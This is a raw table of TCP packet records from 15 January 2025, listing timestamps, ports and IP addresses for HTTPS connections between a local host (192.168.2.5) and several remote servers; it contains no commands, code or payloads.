Jan 15, 2025 20:16:36.035702944 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.035711050 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.035748005 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.035789967 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.035826921 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.035881996 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.036408901 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.036427021 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.036596060 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.036623001 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.097234964 CET	443	49903	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.097316027 CET	49903	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.111629009 CET	443	49902	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.111759901 CET	49902	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.322066069 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.322139025 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.322298050 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.322633982 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.322683096 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.500231981 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.501202106 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.501214027 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.502089977 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.502154112 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.503645897 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.503703117 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.503859997 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.530097008 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.530401945 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.530412912 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.531934977 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.532012939 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.532692909 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.532804012 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.532952070 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.532968044 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.551341057 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.593965054 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.593981981 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.641052961 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.641447067 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.641952991 CET	49914	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.641966105 CET	443	49914	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.664366007 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.664443970 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.664659977 CET	49915	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.664676905 CET	443	49915	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:36.818905115 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.819001913 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:36.819084883 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.820151091 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.820187092 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:36.820390940 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.825195074 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.825210094 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:36.825344086 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:36.825397015 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:36.965251923 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.965491056 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.966896057 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.966901064 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969470978 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969475031 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969541073 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969551086 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969556093 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969558954 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969614029 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969614029 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969633102 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969635963 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969664097 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969746113 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969758987 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969822884 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.969832897 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.969978094 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970005035 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970031023 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970043898 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970050097 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970056057 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970065117 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970069885 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970129967 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970150948 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970151901 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970160007 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970166922 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970170021 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970177889 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970189095 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970236063 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970242977 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970257044 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970272064 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970303059 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970309973 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970360994 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970371008 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970385075 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970391989 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970407963 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970413923 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.970419884 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.970443010 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:37.220047951 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.220077038 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.220179081 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.220995903 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.221081018 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.221261978 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.221584082 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.221599102 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.221968889 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.222002983 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.266901016 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.266925097 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.267215014 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.267302036 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.267400026 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.267606020 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.268630981 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.268644094 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.269689083 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.269710064 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.269778967 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.270046949 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.270059109 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.270251036 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.270261049 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.270298004 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.271459103 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.271483898 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.271694899 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.271708012 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.290119886 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.290452957 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.290462017 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.290910006 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.292356968 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.292434931 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.292593002 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.323493958 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.323760033 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.323786974 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.324939013 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.325403929 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.325563908 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.325586081 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.339335918 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.368562937 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.422410011 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.422574997 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.422640085 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.423111916 CET	49926	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.423127890 CET	443	49926	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.456959009 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:37.456985950 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:37.457060099 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:37.457454920 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:37.457469940 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:37.485331059 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.485615015 CET	443	49925	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:37.485702038 CET	49925	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:37.690718889 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.690951109 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.690995932 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.691478968 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.691807032 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.691899061 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.691951990 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.695137024 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.695393085 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.695403099 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.695972919 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.696780920 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.696861029 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.697285891 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.735373020 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.743319988 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.762550116 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.762824059 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.762844086 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.764306068 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.764373064 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.764794111 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.764887094 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.764925003 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.770564079 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.770848989 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.770912886 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.771929979 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.772001028 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.772305965 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.772376060 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.772728920 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.772746086 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.776989937 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.777167082 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.777179956 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.778647900 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.778722048 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.779272079 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.779373884 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.779381037 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.786360025 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.786566019 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.786587954 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.790101051 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.790179014 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.790529966 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.790605068 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.790668964 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.790677071 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.807334900 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.814243078 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.814343929 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.814513922 CET	49931	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.814529896 CET	443	49931	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.814821005 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.814835072 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.814995050 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.815052986 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.815072060 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.815211058 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.815231085 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.815814018 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.815897942 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.816724062 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.816795111 CET	49930	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.816804886 CET	443	49930	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.817039013 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.817063093 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.817126989 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.817553997 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.817568064 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.827327967 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.875699997 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.875772953 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.876141071 CET	49938	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.876179934 CET	443	49938	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.893011093 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.893122911 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.893424988 CET	49933	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.893461943 CET	443	49933	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.907335997 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.907346964 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.909248114 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.909396887 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.909607887 CET	49939	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.909616947 CET	443	49939	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.927148104 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.927325964 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.927704096 CET	49932	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:37.927716970 CET	443	49932	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:37.928020000 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:37.928029060 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:37.928388119 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:37.929610968 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:37.929621935 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.134448051 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.134557962 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.135034084 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.135052919 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.136821032 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.136833906 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.136895895 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.136929035 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.136950016 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.136961937 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.137069941 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.137098074 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.137223005 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.137377024 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.137449980 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.137622118 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.137948990 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.138452053 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138469934 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.138525009 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138552904 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138571978 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138595104 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138634920 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.138672113 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138705015 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.138798952 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.138820887 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146543980 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146560907 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146598101 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146612883 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146640062 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146653891 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146682024 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146697044 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146727085 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146744013 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146812916 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146828890 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146864891 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146879911 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146909952 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146924019 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.146955013 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.146969080 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147003889 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147018909 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147036076 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147047997 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147068024 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147080898 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147109032 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147125959 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147160053 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147177935 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.147191048 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.147202015 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.296144962 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.296463966 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.296524048 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.297671080 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.298017979 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.298224926 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.300401926 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.300630093 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.300688982 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.302519083 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.303940058 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.304243088 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.439675093 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.439694881 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.486962080 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.487040997 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.527354002 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.531327963 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.557962894 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.558037996 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.558056116 CET	443	49919	116.203.164.230	192.168.2.5
